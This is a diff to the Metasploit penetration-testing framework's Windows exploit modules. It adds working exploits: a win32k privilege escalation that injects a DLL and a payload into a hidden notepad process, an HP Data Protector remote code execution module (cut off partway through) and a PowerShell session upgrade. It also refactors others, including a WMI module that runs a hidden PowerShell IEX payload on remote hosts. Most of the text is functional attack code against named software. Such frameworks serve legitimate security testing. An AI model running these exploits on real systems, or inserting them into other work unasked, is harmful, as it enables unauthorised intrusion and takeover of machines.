+        tmp_dir = session.sys.config.getenv('TEMP')
         tmp_dir << "\\Low" unless tmp_dir[-3,3] =~ /Low/i
         cd(tmp_dir)
         print_status("Trying to drop payload to #{tmp_dir}...")
@@ -186,7 +186,7 @@ class Metasploit3 < Msf::Exploit::Local
 
       # Spawn low integrity cmd.exe
       print_status("Spawning Low Integrity Cmd Prompt")
-      windir = client.fs.file.expand_path("%windir%")
+      windir = session.sys.config.getenv('windir')
       li_cmd_pid = client.sys.process.execute("#{windir}\\system32\\cmd.exe", nil, {'Hidden' => false }).pid
 
       count = count_cmd_procs
diff --git a/modules/exploits/windows/local/ms13_081_track_popup_menu.rb b/modules/exploits/windows/local/ms13_081_track_popup_menu.rb
new file mode 100644
index 0000000000..27f7bcec58
--- /dev/null
+++ b/modules/exploits/windows/local/ms13_081_track_popup_menu.rb
@@ -0,0 +1,133 @@
+##
+# This module requires Metasploit: http//metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require 'msf/core'
+require 'msf/core/post/windows/reflective_dll_injection'
+require 'rex'
+
+class Metasploit3 < Msf::Exploit::Local
+  Rank = AverageRanking
+
+  include Msf::Post::File
+  include Msf::Post::Windows::Priv
+  include Msf::Post::Windows::Process
+  include Msf::Post::Windows::FileInfo
+  include Msf::Post::Windows::ReflectiveDLLInjection
+
+  def initialize(info={})
+    super(update_info(info, {
+      'Name'           => 'Windows TrackPopupMenuEx Win32k NULL Page',
+      'Description'    => %q{
+        This module exploits a vulnerability in win32k.sys where under
+        specific conditions TrackPopupMenuEx will pass a NULL pointer to
+        the MNEndMenuState procedure. This module has been tested
+        successfully on Windows 7 SP0 and Windows 7 SP1.
+      },
+      'License'        => MSF_LICENSE,
+      'Author'         =>
+        [
+          'Seth Gibson', # vulnerability discovery
+          'Dan Zentner', # vulnerability discovery
+          'Matias Soler', # vulnerability analysis
+          'Spencer McIntyre'
+        ],
+      'Arch'           => ARCH_X86,
+      'Platform'       => 'win',
+      'SessionTypes'   => [ 'meterpreter' ],
+      'DefaultOptions' =>
+        {
+          'EXITFUNC' => 'thread',
+        },
+      'Targets'        =>
+        [
+          [ 'Windows 7 SP0/SP1', { } ]
+        ],
+      'Payload'        =>
+        {
+          'Space'       => 4096,
+          'DisableNops' => true
+        },
+      'References'     =>
+        [
+          [ 'CVE', '2013-3881' ],
+          [ 'OSVDB', '98212' ],
+          [ 'BID', '62830'],
+          [ 'MSB', 'MS13-081' ],
+          [ 'URL', 'http://endgame.com/news/microsoft-win32k-null-page-vulnerability-technical-analysis.html' ],
+          [ 'URL', 'http://immunityproducts.blogspot.com/2013/11/exploiting-cve-2013-3881-win32k-null.html' ]
+        ],
+      'DisclosureDate' => 'Oct 08 2013',
+      'DefaultTarget'  => 0
+    }))
+  end
+
+  def check
+    os = sysinfo["OS"]
+    if (os =~ /windows/i) == nil
+      return Exploit::CheckCode::Unknown
+    end
+
+    file_path = expand_path("%windir%") << "\\system32\\win32k.sys"
+    major, minor, build, revision, branch = file_version(file_path)
+    vprint_status("win32k.sys file version: #{major}.#{minor}.#{build}.#{revision} branch: #{branch}")
+
+    case build
+    when 7600
+      return Exploit::CheckCode::Vulnerable
+    when 7601
+      return Exploit::CheckCode::Vulnerable if revision <= 18126
+    when 9200
+      return Exploit::CheckCode::Safe
+    end
+    return Exploit::CheckCode::Unknown
+  end
+
+  def exploit
+    if is_system?
+      fail_with(Exploit::Failure::None, 'Session is already elevated')
+    end
+
+    if check != Exploit::CheckCode::Vulnerable
+      fail_with(Exploit::Failure::NotVulnerable, "Exploit not available on this system.")
+    end
+
+    if sysinfo["Architecture"] =~ /wow64/i
+      fail_with(Failure::NoTarget, "Running against WOW64 is not supported")
+    elsif sysinfo["Architecture"] =~ /x64/
+      fail_with(Failure::NoTarget, "Running against 64-bit systems is not supported")
+    end
+
+    print_status("Launching notepad to host the exploit...")
+    notepad_process = client.sys.process.execute("notepad.exe", nil, {'Hidden' => true})
+    begin
+      process = client.sys.process.open(notepad_process.pid, PROCESS_ALL_ACCESS)
+      print_good("Process #{process.pid} launched.")
+    rescue Rex::Post::Meterpreter::RequestError
+      # Reader Sandbox won't allow to create a new process:
+      # stdapi_sys_process_execute: Operation failed: Access is denied.
+      print_status("Operation failed. Trying to elevate the current process...")
+      process = client.sys.process.open
+    end
+
+    print_status("Reflectively injecting the exploit DLL into #{process.pid}...")
+    library_path = ::File.join(Msf::Config.data_directory, "exploits",
+                               "cve-2013-3881", "cve-2013-3881.x86.dll")
+    library_path = ::File.expand_path(library_path)
+
+    print_status("Injecting exploit into #{process.pid}...")
+    exploit_mem, offset = inject_dll_into_process(process, library_path)
+
+    print_status("Exploit injected. Injecting payload into #{process.pid}...")
+    payload_mem = inject_into_process(process, payload.encoded)
+
+    # invoke the exploit, passing in the address of the payload that
+    # we want invoked on successful exploitation.
+    print_status("Payload injected. Executing exploit...")
+    process.thread.create(exploit_mem + offset, payload_mem)
+
+    print_good("Exploit finished, wait for (hopefully privileged) payload execution to complete.")
+  end
+
+end
diff --git a/modules/exploits/windows/local/ms_ndproxy.rb b/modules/exploits/windows/local/ms_ndproxy.rb
index cef0f217a2..1ac9a2ba6d 100644
--- a/modules/exploits/windows/local/ms_ndproxy.rb
+++ b/modules/exploits/windows/local/ms_ndproxy.rb
@@ -15,7 +15,7 @@ class Metasploit3 < Msf::Exploit::Local
 
   def initialize(info={})
     super(update_info(info, {
-      'Name'          => 'Microsoft Windows ndproxy.sys Local Privilege Escalation',
+      'Name'          => 'MS14-002 Microsoft Windows ndproxy.sys Local Privilege Escalation',
       'Description'    => %q{
         This module exploits a flaw in the ndproxy.sys driver on Windows XP SP3 and Windows 2003
         SP2 systems, exploited in the wild in November, 2013. The vulnerability exists while
@@ -70,6 +70,7 @@ class Metasploit3 < Msf::Exploit::Local
       'References'    =>
         [
           [ 'CVE', '2013-5065' ],
+          [ 'MSB', 'MS14-002' ],
           [ 'OSVDB' , '100368'],
           [ 'BID', '63971' ],
           [ 'EDB', '30014' ],
@@ -193,7 +194,7 @@ class Metasploit3 < Msf::Exploit::Local
   end
 
   def create_proc
-    windir = expand_path("%windir%")
+    windir = session.sys.config.getenv('windir')
     cmd = "#{windir}\\System32\\notepad.exe"
     # run hidden
     begin
diff --git a/modules/exploits/windows/local/nvidia_nvsvc.rb b/modules/exploits/windows/local/nvidia_nvsvc.rb
index 33223ce462..35799bd753 100644
--- a/modules/exploits/windows/local/nvidia_nvsvc.rb
+++ b/modules/exploits/windows/local/nvidia_nvsvc.rb
@@ -36,7 +36,7 @@ class Metasploit3 < Msf::Exploit::Local
       'Author'          =>
         [
           'Peter Wintersmith', # Original exploit
-          'Ben Campbell <eat_meatballs[at]hotmail.co.uk>',   # Metasploit integration
+          'Ben Campbell',   # Metasploit integration
         ],
       'Arch'            => ARCH_X86_64,
       'Platform'        => 'win',
@@ -82,12 +82,13 @@ class Metasploit3 < Msf::Exploit::Local
 
         begin
           if is_running?
-            print_good("Service is running")
+            vprint_good("Service is running")
           else
-            print_error("Service is not running!")
+            vprint_error("Service is not running!")
           end
         rescue RuntimeError => e
-          print_error("Unable to retrieve service status")
+          vprint_error("Unable to retrieve service status")
+          return Exploit::CheckCode::Unknown
         end
 
         if sysinfo['Architecture'] =~ /WOW64/i
@@ -138,7 +139,7 @@ class Metasploit3 < Msf::Exploit::Local
 
     print_status("Launching notepad to host the exploit...")
 
-    windir = expand_path("%windir%")
+    windir = session.sys.config.getenv('windir')
     cmd = "#{windir}\\SysWOW64\\notepad.exe"
     process = client.sys.process.execute(cmd, nil, {'Hidden' => true})
     host_process = client.sys.process.open(process.pid, PROCESS_ALL_ACCESS)
diff --git a/modules/exploits/windows/local/payload_inject.rb b/modules/exploits/windows/local/payload_inject.rb
index 655e2ae244..0b7a26f357 100644
--- a/modules/exploits/windows/local/payload_inject.rb
+++ b/modules/exploits/windows/local/payload_inject.rb
@@ -117,7 +117,7 @@ class Metasploit3 < Msf::Exploit::Local
   # Creates a temp notepad.exe to inject payload in to given the payload
   # Returns process PID
   def create_temp_proc()
-    windir = client.fs.file.expand_path("%windir%")
+    windir = client.sys.config.getenv('windir')
     # Select path of executable to run depending the architecture
     if @payload_arch.first== "x86" and client.platform =~ /x86/
       cmd = "#{windir}\\System32\\notepad.exe"
diff --git a/modules/exploits/windows/local/persistence.rb b/modules/exploits/windows/local/persistence.rb
index 811b1190a3..9ce47a82fc 100644
--- a/modules/exploits/windows/local/persistence.rb
+++ b/modules/exploits/windows/local/persistence.rb
@@ -130,7 +130,7 @@ class Metasploit3 < Msf::Exploit::Local
 
   # Writes script to target host
   def write_script_to_target(vbs,name)
-    tempdir = expand_path("%TEMP%")
+    tempdir = session.sys.config.getenv('TEMP')
     if name == nil
       tempvbs = tempdir + "\\" + Rex::Text.rand_text_alpha((rand(8)+6)) + ".vbs"
     else
diff --git a/modules/exploits/windows/local/powershell_cmd_upgrade.rb b/modules/exploits/windows/local/powershell_cmd_upgrade.rb
new file mode 100644
index 0000000000..5b46139a50
--- /dev/null
+++ b/modules/exploits/windows/local/powershell_cmd_upgrade.rb
@@ -0,0 +1,50 @@
+##
+# This module requires Metasploit: http//metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require 'msf/core'
+require 'msf/core/exploit/powershell'
+
+class Metasploit3 < Msf::Exploit::Local
+  Rank = ExcellentRanking
+
+  include Exploit::Powershell
+  include Post::File
+
+  def initialize(info={})
+    super( update_info( info,
+        'Name'          => 'Windows Command Shell Upgrade (Powershell)',
+        'Description'   => %q{
+          This module executes Powershell to upgrade a Windows Shell session
+          to a full Meterpreter session.
+        },
+        'License'       => MSF_LICENSE,
+        'Author'        => [
+            'Ben Campbell'
+          ],
+        'DefaultOptions' =>
+            {
+                'WfsDelay'     => 10,
+            },
+        'DisclosureDate' => 'Jan 01 1999',
+        'Platform'      => [ 'win' ],
+        'SessionTypes'  => [ 'shell' ],
+        'Targets' => [ [ 'Universal', {} ] ],
+        'DefaultTarget' => 0
+      ))
+  end
+
+  def exploit
+    psh_path = "\\WindowsPowerShell\\v1.0\\powershell.exe"
+
+    if file? "%WINDIR%\\System32#{psh_path}"
+      print_status("Executing powershell command line...")
+      cmd_exec(cmd_psh_payload(payload.encoded))
+    else
+      fail_with(Exploit::Failure::NotVulnerable, "No powershell available.")
+    end
+  end
+
+end
+
diff --git a/modules/exploits/windows/local/ppr_flatten_rec.rb b/modules/exploits/windows/local/ppr_flatten_rec.rb
index 264f3e991e..5ced694cce 100644
--- a/modules/exploits/windows/local/ppr_flatten_rec.rb
+++ b/modules/exploits/windows/local/ppr_flatten_rec.rb
@@ -32,7 +32,7 @@ class Metasploit3 < Msf::Exploit::Local
           'Keebie4e',     # Metasploit integration
           'egypt',        # Metasploit integration
           'sinn3r',       # Metasploit integration
-          'Meatballs',    # Metasploit integration
+          'Ben Campbell',    # Metasploit integration
           'juan vazquez', # Metasploit integration
           'OJ Reeves'     # Metasploit integration
         ],
@@ -78,7 +78,7 @@ class Metasploit3 < Msf::Exploit::Local
   def check
     os = sysinfo["OS"]
     if os =~ /windows/i
-      file_path = expand_path("%windir%") << "\\system32\\win32k.sys"
+      file_path = session.sys.config.getenv('windir') << "\\system32\\win32k.sys"
       major, minor, build, revision, branch = file_version(file_path)
       vprint_status("win32k.sys file version: #{major}.#{minor}.#{build}.#{revision}")
 
diff --git a/modules/exploits/windows/local/s4u_persistence.rb b/modules/exploits/windows/local/s4u_persistence.rb
index 7572b24d1a..07df848e19 100644
--- a/modules/exploits/windows/local/s4u_persistence.rb
+++ b/modules/exploits/windows/local/s4u_persistence.rb
@@ -115,7 +115,7 @@ class Metasploit3 < Msf::Exploit::Local
   # Returns path for XML and payload
   def generate_path(rexename)
     # Generate a path to write payload and XML
-    path = datastore['PATH'] || expand_path("%TEMP%")
+    path = datastore['PATH'] || session.sys.config.getenv('TEMP')
     xml_path = "#{path}\\#{Rex::Text.rand_text_alpha((rand(8)+6))}.xml"
     rexe_path = "#{path}\\#{rexename}"
     return xml_path,rexe_path
diff --git a/modules/exploits/windows/local/service_permissions.rb b/modules/exploits/windows/local/service_permissions.rb
index 98e3490a9d..49e5938474 100644
--- a/modules/exploits/windows/local/service_permissions.rb
+++ b/modules/exploits/windows/local/service_permissions.rb
@@ -59,8 +59,9 @@ class Metasploit3 < Msf::Exploit::Local
 
     exe = Msf::Util::EXE.to_win32pe_service(session.framework, raw)
 
-    sysdir = session.fs.file.expand_path("%SystemRoot%")
-    tmpdir = session.fs.file.expand_path("%TEMP%")
+    dir_env = session.sys.config.getenvs('SystemRoot', 'TEMP')
+    sysdir = dir_env['SystemRoot']
+    tmpdir = dir_env['TEMP']
 
     print_status("Meterpreter stager executable #{exe.length} bytes long being uploaded..")
     begin
@@ -122,7 +123,7 @@ class Metasploit3 < Msf::Exploit::Local
         moved = false
         configed = false
         #default path, but there should be an ImagePath registry key
-        source = session.fs.file.expand_path("%SYSTEMROOT%\\system32\\#{serv}.exe")
+        source = "#{sysdir}\\system32\\#{serv}.exe"
         #get path to exe; parse out quotes and arguments
         sourceorig = registry_getvaldata("#{serviceskey}\\#{serv}","ImagePath").to_s
         sourcemaybe = session.fs.file.expand_path(sourceorig)
diff --git a/modules/exploits/windows/local/trusted_service_path.rb b/modules/exploits/windows/local/trusted_service_path.rb
index 85968af822..169574a435 100644
--- a/modules/exploits/windows/local/trusted_service_path.rb
+++ b/modules/exploits/windows/local/trusted_service_path.rb
@@ -56,6 +56,7 @@ class Metasploit3 < Msf::Exploit::Local
     if enum_vuln_services.empty?
       return Exploit::CheckCode::Safe
     else
+      # Found service is running system
       return Exploit::CheckCode::Vulnerable
     end
   end
diff --git a/modules/exploits/windows/local/wmi.rb b/modules/exploits/windows/local/wmi.rb
index d40d33e886..c7b36319b2 100644
--- a/modules/exploits/windows/local/wmi.rb
+++ b/modules/exploits/windows/local/wmi.rb
@@ -11,6 +11,7 @@ class Metasploit3 < Msf::Exploit::Local
   Rank = ExcellentRanking
 
   include Msf::Exploit::Powershell
+  include Msf::Post::Windows::WMIC
 
   def initialize(info={})
     super( update_info( info,
@@ -32,7 +33,7 @@ class Metasploit3 < Msf::Exploit::Local
         },
         'License'       => MSF_LICENSE,
         'Author'        => [
-            'Ben Campbell <eat_meatballs[at]hotmail.co.uk>'
+            'Ben Campbell'
           ],
         'References'    =>
           [
@@ -57,13 +58,12 @@ class Metasploit3 < Msf::Exploit::Local
       ))
 
     register_options([
-      OptString.new('SMBUser', [ false, 'The username to authenticate as' ]),
-      OptString.new('SMBPass', [ false, 'The password for the specified username' ]),
-      OptString.new('SMBDomain',  [ false, 'The Windows domain to use for authentication' ]),
       OptAddressRange.new("RHOSTS", [ true, "Target address range or CIDR identifier" ]),
       # Move this out of advanced
       OptString.new('ReverseListenerComm', [ false, 'The specific communication channel to use for this listener'])
     ])
+
+    deregister_options("RHOST")
   end
 
   def exploit
@@ -72,71 +72,61 @@ class Metasploit3 < Msf::Exploit::Local
     end
 
     Rex::Socket::RangeWalker.new(datastore["RHOSTS"]).each do |server|
-      # TODO: CHECK WMIC Access by reading the clipboard?
-      # TODO: wmic /output:clipboard
-      # TODO: Needs to be meterpreter ext side due to threading
-
-      # Get the PSH Payload and split it into bitesize chunks
-      # 1024 appears to be the max value allowed in env vars
-      psh = cmd_psh_payload(payload.encoded).gsub("\r\n","")
-      psh = psh[psh.index("$si")..psh.length-1]
-      chunks = split_code(psh, 1024)
-
-      begin
-        print_status("[#{server}] Storing payload in environment variables")
-        env_name = rand_text_alpha(rand(3)+3)
-        env_vars = []
-        0.upto(chunks.length-1) do |i|
-          env_vars << "#{env_name}#{i}"
-          c = "cmd /c SETX #{env_vars[i]} \"#{chunks[i]}\" /m"
-          wmic_command(server, c)
-        end
-
-        x = rand_text_alpha(rand(3)+3)
-        exec_cmd = "powershell.exe -nop -w hidden -c $#{x} = ''"
-        env_vars.each do |env|
-          exec_cmd << "+$env:#{env}"
-        end
-        exec_cmd << ";IEX $#{x};"
-
-        print_status("[#{server}] Executing payload")
-        wmic_command(server, exec_cmd)
-
-        print_status("[#{server}] Cleaning up environment variables")
-        env_vars.each do |env|
-          cleanup_cmd = "cmd /c REG delete \"HKLM\\\SYSTEM\\CurrentControlSet\\Control\\Session Manager\\Environment\" /V #{env} /f"
-          wmic_command(server, cleanup_cmd)
-        end
-      rescue Rex::Post::Meterpreter::RequestError => e
-        print_error("[#{server}] Error moving on... #{e}")
-        next
-      ensure
-        select(nil,nil,nil,2)
-      end
+      run_host(server)
     end
   end
 
-  def wmic_user_pass_string(domain=datastore['SMBDomain'], user=datastore['SMBUser'], pass=datastore['SMBPass'])
-    userpass = ""
+  def run_host(server)
+    # Get the PSH Payload and split it into bitesize chunks
+    # 1024 appears to be the max value allowed in env vars
+    psh = cmd_psh_payload(payload.encoded).gsub("\r\n","")
+    psh = psh[psh.index("$si")..psh.length-1]
+    chunks = split_code(psh, 1024)
 
-    unless user.nil?
-      if domain.nil?
-        userpass = "/user:\"#{user}\" /password:\"#{pass}\" "
+    begin
+      print_status("[#{server}] Storing payload in environment variables")
+      env_name = rand_text_alpha(rand(3)+3)
+      env_vars = []
+      0.upto(chunks.length-1) do |i|
+        env_vars << "#{env_name}#{i}"
+        c = "cmd /c SETX #{env_vars[i]} \"#{chunks[i]}\" /m"
+        result = wmic_command(c, server)
+
+        unless result
+          print_error("[#{server}] WMIC command error - skipping host")
+          return false
+        end
+      end
+
+      x = rand_text_alpha(rand(3)+3)
+      exec_cmd = "powershell.exe -nop -w hidden -c $#{x} = ''"
+      env_vars.each do |env|
+        exec_cmd << "+$env:#{env}"
+      end
+      exec_cmd << ";IEX $#{x};"
+
+      print_status("[#{server}] Executing payload")
+      result = wmic_command(exec_cmd, server)
+
+      if result
+        if result[:return] == 0
+          print_good("[#{server}] Process Started PID: #{result[:pid]}")
+        else
+          print_error("[#{server}] failed, Return Value: #{result[:return]})")
+        end
       else
-        userpass = "/user:\"#{domain}\\#{user}\" /password:\"#{pass}\" "
+        print_error("[#{server}] failed...)")
       end
+
+      print_status("[#{server}] Cleaning up environment variables")
+      env_vars.each do |env|
+        cleanup_cmd = "cmd /c REG delete \"HKLM\\\SYSTEM\\CurrentControlSet\\Control\\Session Manager\\Environment\" /V #{env} /f"
+        wmic_command(cleanup_cmd, server)
+      end
+    rescue Rex::Post::Meterpreter::RequestError => e
+      print_error("[#{server}] Error moving on... #{e}")
+      return false
     end
-
-    return userpass
-  end
-
-  def wmic_command(server, cmd)
-    wcmd = "wmic #{wmic_user_pass_string}/node:#{server} process call create \"#{cmd.gsub('"','\\"')}\""
-    vprint_status("[#{server}] #{wcmd}")
-
-    # We dont use cmd_exec as WMIC cannot be Channelized
-    ps = session.sys.process.execute(wcmd, "", {'Hidden' => true, 'Channelized' => false})
-    select(nil,nil,nil,0.1)
   end
 
   def split_code(psh, chunk_size)
diff --git a/modules/exploits/windows/lotus/domino_icalendar_organizer.rb b/modules/exploits/windows/lotus/domino_icalendar_organizer.rb
index c84035dd39..b29329933f 100644
--- a/modules/exploits/windows/lotus/domino_icalendar_organizer.rb
+++ b/modules/exploits/windows/lotus/domino_icalendar_organizer.rb
@@ -26,7 +26,7 @@ class Metasploit3 < Msf::Exploit::Remote
       'Author'         =>
         [
           'A. Plaskett',  #Initial discovery, poc
-          'sinn3r',       #Metasploit
+          'sinn3r'        #Metasploit
         ],
       'References'     =>
         [
@@ -34,14 +34,14 @@ class Metasploit3 < Msf::Exploit::Remote
           [ 'OSVDB', '68040' ],
           [ 'ZDI', '10-177' ],
           [ 'URL', 'http://labs.mwrinfosecurity.com/advisories/lotus_domino_ical_stack_buffer_overflow/' ],
-          [ 'URL', 'http://www-01.ibm.com/support/docview.wss?rs=475&uid=swg21446515' ],
+          [ 'URL', 'http://www-01.ibm.com/support/docview.wss?rs=475&uid=swg21446515' ]
         ],
       'Payload'        =>
         {
           'BadChars' => [*(0x00..0x08)].pack("C*") + [*(0x10..0x18)].pack("C*") + [*(0x1a..0x1f)].pack("C*") + "\x2c" + [*(0x80..0xff)].pack("C*"),
           'EncoderType' => Msf::Encoder::Type::AlphanumMixed,
           'EncoderOptions' => {'BufferRegister'=>'ECX'},
-          'StackAdjustment' => -3500,
+          'StackAdjustment' => -3500
         },
       'DefaultOptions' =>
         {
@@ -55,7 +55,7 @@ class Metasploit3 < Msf::Exploit::Remote
             {
               'Offset'    => 2374,           #Offset to EIP
               'Ret'       => 0x6030582B,     #JMP ECX
-              'MaxBuffer' => 9010,           #Total buffer size
+              'MaxBuffer' => 9010            #Total buffer size
             }
           ],
           [
@@ -63,7 +63,7 @@ class Metasploit3 < Msf::Exploit::Remote
             {
               'Offset'    => 2374,           #Offset to EIP
               'Ret'       => 0x6030582B,     #JMP ECX (Domino\\nnotes.dll)
-              'MaxBuffer' => 9010,           #Total buffer size
+              'MaxBuffer' => 9010            #Total buffer size
             }
           ],
           [
@@ -74,7 +74,7 @@ class Metasploit3 < Msf::Exploit::Remote
               'EAX'       => 0x7C35287F,     #Initial CALL VirtualProtect addr to align (MSVCR71.dll)
               'EaxOffset' => 2342,           #Offset to EAX
               'RopOffset' => 24,             #Offset to ROP gadgets
-              'MaxBuffer' => 9010,           #Total buffer size
+              'MaxBuffer' => 9010            #Total buffer size
             }
           ],
         ],
@@ -85,7 +85,7 @@ class Metasploit3 < Msf::Exploit::Remote
         [
           Opt::RPORT(25),
           OptString.new('MAILFROM', [true, 'Valid Lotus Domino mailbox account', '']),
-          OptString.new('MAILTO',   [true, 'Valid Lotus Domino mailbox account', '']),
+          OptString.new('MAILTO',   [true, 'Valid Lotus Domino mailbox account', ''])
         ], self.class)
   end
 
@@ -94,8 +94,8 @@ class Metasploit3 < Msf::Exploit::Remote
     banner = (sock.get_once(-1,5) || '').chomp
     disconnect
 
-    if banner =~ /Lotus Domino Release 8.5/
-      return Exploit::CheckCode::Vulnerable
+    if banner =~ /Lotus Domino Release 8\.5/
+      return Exploit::CheckCode::Appears
     else
       return Exploit::CheckCode::Safe
     end
diff --git a/modules/exploits/windows/lpd/wincomlpd_admin.rb b/modules/exploits/windows/lpd/wincomlpd_admin.rb
index 163f7b715e..fd1a854406 100644
--- a/modules/exploits/windows/lpd/wincomlpd_admin.rb
+++ b/modules/exploits/windows/lpd/wincomlpd_admin.rb
@@ -12,7 +12,7 @@ class Metasploit3 < Msf::Exploit::Remote
 
   def initialize(info = {})
     super(update_info(info,
-      'Name'           => 'WinComLPD <= 3.0.2 Buffer Overflow',
+      'Name'           => 'WinComLPD Buffer Overflow',
       'Description'    => %q{
           This module exploits a stack buffer overflow in WinComLPD <= 3.0.2.
         By sending an overly long authentication packet to the remote
diff --git a/modules/exploits/windows/misc/altiris_ds_sqli.rb b/modules/exploits/windows/misc/altiris_ds_sqli.rb
index 7394a2cae7..7d62ff1bee 100644
--- a/modules/exploits/windows/misc/altiris_ds_sqli.rb
+++ b/modules/exploits/windows/misc/altiris_ds_sqli.rb
@@ -131,14 +131,14 @@ Processor-Speed=#{processor_speed}
       return Exploit::CheckCode::Safe
     end
 
-    print_status "#{rhost}:#{rport} - Altiris DS Version '#{version}'"
+    vprint_status "#{rhost}:#{rport} - Altiris DS Version '#{version}'"
 
     minor = $1.to_i
     build = $2.to_i
 
     if minor == 8
       if build == 206 || build == 282 || build == 378
-        return Exploit::CheckCode::Vulnerable
+        return Exploit::CheckCode::Appears
       elsif build < 390
         return Exploit::CheckCode::Appears
       end
@@ -190,7 +190,7 @@ Processor-Speed=#{processor_speed}
       end
     end
 
-    win_temp = client.fs.file.expand_path("%TEMP%")
+    win_temp = client.sys.config.getenv('TEMP')
     win_file = "#{win_temp}\\#{payload_exe}"
     print_status("Attempting to delete #{win_file} ...")
     client.shell_command_token(%Q|attrib.exe -r #{win_file}|)
diff --git a/modules/exploits/windows/misc/bakbone_netvault_heap.rb b/modules/exploits/windows/misc/bakbone_netvault_heap.rb
index 4fda35027d..b58b65aea6 100644
--- a/modules/exploits/windows/misc/bakbone_netvault_heap.rb
+++ b/modules/exploits/windows/misc/bakbone_netvault_heap.rb
@@ -75,7 +75,7 @@ class Metasploit3 < Msf::Exploit::Remote
 
       if ver > 0
         print_status("Detected NetVault Build #{ver}")
-        return Exploit::CheckCode::Detected
+        return Exploit::CheckCode::Appears
       end
     end
 
diff --git a/modules/exploits/windows/misc/fb_cnct_group.rb b/modules/exploits/windows/misc/fb_cnct_group.rb
index 136c50415f..3c8a3deed1 100644
--- a/modules/exploits/windows/misc/fb_cnct_group.rb
+++ b/modules/exploits/windows/misc/fb_cnct_group.rb
@@ -66,7 +66,8 @@ class Metasploit3 < Msf::Exploit::Remote
     begin
       connect
     rescue
-      return Exploit::CheckCode::Safe
+      vprint_error("Unable to get a connection")
+      return Exploit::CheckCode::Unknown
     end
 
     filename =  "C:\\#{rand_text_alpha(12)}.fdb"
@@ -99,7 +100,7 @@ class Metasploit3 < Msf::Exploit::Remote
       return Exploit::CheckCode::Detected
     end
 
-    return Exploit::CheckCode::Unknown
+    return Exploit::CheckCode::Safe
   end
 
   def stack_pivot_rop_chain
diff --git a/modules/exploits/windows/misc/hp_dataprotector_crs.rb b/modules/exploits/windows/misc/hp_dataprotector_crs.rb
index 6e5429bf6e..26baf9192d 100644
--- a/modules/exploits/windows/misc/hp_dataprotector_crs.rb
+++ b/modules/exploits/windows/misc/hp_dataprotector_crs.rb
@@ -139,22 +139,25 @@ class Metasploit3 < Msf::Exploit::Remote
     fingerprint = get_fingerprint
 
     if fingerprint.nil?
+      vprint_error("Unable to fingerprint")
       return Exploit::CheckCode::Unknown
     end
 
     port = get_crs_port
 
     if port.nil?
-      print_status("HP Data Protector version #{fingerprint}")
-      print_error("But CRS port not found")
+      vprint_status("HP Data Protector version #{fingerprint}")
+      vprint_error("But CRS port not found")
     else
-      print_status("CRS running on port #{port}/TCP, HP Data Protector version #{fingerprint}")
+      vprint_status("CRS running on port #{port}/TCP, HP Data Protector version #{fingerprint}")
     end
 
     if fingerprint =~ /HP Data Protector A\.06\.20: INET, internal build 370/
-      return Exploit::CheckCode::Vulnerable
+      # More likely to be exploitable
+      return Exploit::CheckCode::Appears
     elsif fingerprint =~ /HP Data Protector A\.07\.00: INET, internal build 72/
-      return Exploit::CheckCode::Vulnerable
+      # More likely to be exploitable
+      return Exploit::CheckCode::Appears
     elsif fingerprint =~ /HP Data Protector A\.07\.00/
       return Exploit::CheckCode::Appears
     elsif fingerprint =~ /HP Data Protector A\.07\.01/
diff --git a/modules/exploits/windows/misc/hp_dataprotector_exec_bar.rb b/modules/exploits/windows/misc/hp_dataprotector_exec_bar.rb
new file mode 100644
index 0000000000..b0e0256094
--- /dev/null
+++ b/modules/exploits/windows/misc/hp_dataprotector_exec_bar.rb
@@ -0,0 +1,207 @@
+##
+# This module requires Metasploit: http//metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+
+require 'msf/core'
+require 'msf/core/exploit/powershell'
+
+
+class Metasploit3 < Msf::Exploit::Remote
+  Rank = ExcellentRanking
+
+  include Msf::Exploit::Remote::Tcp
+  include Msf::Exploit::Powershell
+  include Msf::Exploit::CmdStagerVBS
+
+  def initialize(info = {})
+    super(update_info(info,
+      'Name'           => 'HP Data Protector Backup Client Service Remote Code Execution',
+      'Description'    => %q{
+        This module abuses the Backup Client Service (OmniInet.exe) to achieve remote code
+        execution. The vulnerability exists in the EXEC_BAR operation, which allows to
+        execute arbitrary processes. This module has been tested successfully on HP Data
+        Protector 6.20 on Windows 2003 SP2 and Windows 2008 R2.
+      },
+      'Author'         =>
+        [
+          'Aniway.Anyway <Aniway.Anyway[at]gmail.com>', # Vulnerability discovery
+          'juan vazquez' # Metasploit module
+        ],
+      'References'     =>
+        [
+          [ 'CVE', '2013-2347' ],
+          [ 'BID', '64647' ],
+          [ 'ZDI', '14-008' ],
+          [ 'URL', 'https://h20566.www2.hp.com/portal/site/hpsc/public/kb/docDisplay/?docId=emr_na-c03822422' ],
+          [ 'URL', 'http://ddilabs.blogspot.com/2014/02/fun-with-hp-data-protector-execbar.html' ]
+        ],
+      'Privileged'     => true,
+      'Payload'        =>
+        {
+          'DisableNops' => true
+        },
+      'DefaultOptions'  =>
+        {
+          'DECODERSTUB' => File.join(Msf::Config.data_directory, "exploits", "cmdstager", "vbs_b64_noquot")
+        },
+      'Platform'        => 'win',
+      'Targets'         =>
+        [
+          [ 'HP Data Protector 6.20 build 370 / VBScript CMDStager', { } ],
+          [ 'HP Data Protector 6.20 build 370 / Powershell', { } ]
+        ],
+      'DefaultTarget'  => 0,
+      'DisclosureDate' => 'Jan 02 2014'))
+
+    register_options(
+      [
+        Opt::RPORT(5555),
+        OptString.new('CMDPATH', [true, 'The cmd.exe path', 'c:\\windows\\system32\\cmd.exe'])
+      ],
+    self.class)
+  end
+
+  def check
+    fingerprint = get_fingerprint
+
+    if fingerprint.nil?
+      return Exploit::CheckCode::Unknown
+    end
+
+    print_status("#{peer} - HP Data Protector version #{fingerprint}")
+
+    if fingerprint =~ /HP Data Protector A\.06\.(\d+)/
+      minor = $1.to_i
+    else
+      return Exploit::CheckCode::Safe
+    end
+
+    if minor < 21
+      return Exploit::CheckCode::Appears
+    elsif minor == 21
+      return Exploit::CheckCode::Detected
+    else
+      return Exploit::CheckCode::Detected
+    end
+
+  end
+
+  def exploit
+    if target.name =~ /VBScript CMDStager/
+      # 7500 just in case, to be sure the command fits after
+      # environment variables expansion
+      execute_cmdstager({:linemax => 7500})
+    elsif target.name =~ /Powershell/
+      # Environment variables are not being expanded before, neither in CreateProcess
+      command = cmd_psh_payload(payload.encoded).gsub(/%COMSPEC% /, "")
+      if command.length > 8000
+        # Windows 2008 Command Prompt Max Length is 8191
